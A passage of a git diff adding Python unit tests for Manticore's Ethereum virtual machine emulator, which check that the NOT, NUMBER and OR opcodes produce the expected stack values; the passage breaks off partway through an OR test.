+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639903L])
+
+    def test_NOT_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x19'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639887L])
+
+    def test_NOT_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x19'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921023L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMNUMBER.py b/tests/EVM/test_EVMNUMBER.py
new file mode 100644
index 0000000..a2c7fa5
--- /dev/null
+++ b/tests/EVM/test_EVMNUMBER.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_NUMBER(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_NUMBER_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='C'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMOR.py b/tests/EVM/test_EVMOR.py
new file mode 100644
index 0000000..4fd54b1
--- /dev/null
+++ b/tests/EVM/test_EVMOR.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_OR(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_OR_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_OR_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_OR_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_OR_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_OR_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_OR_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_OR_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_OR_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_OR_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_OR_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_OR_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819953L])
+
+    def test_OR_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_OR_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17])
+
+    def test_OR_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33])
+
+    def test_OR_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49])
+
+    def test_OR_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718913L])
+
+    def test_OR_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
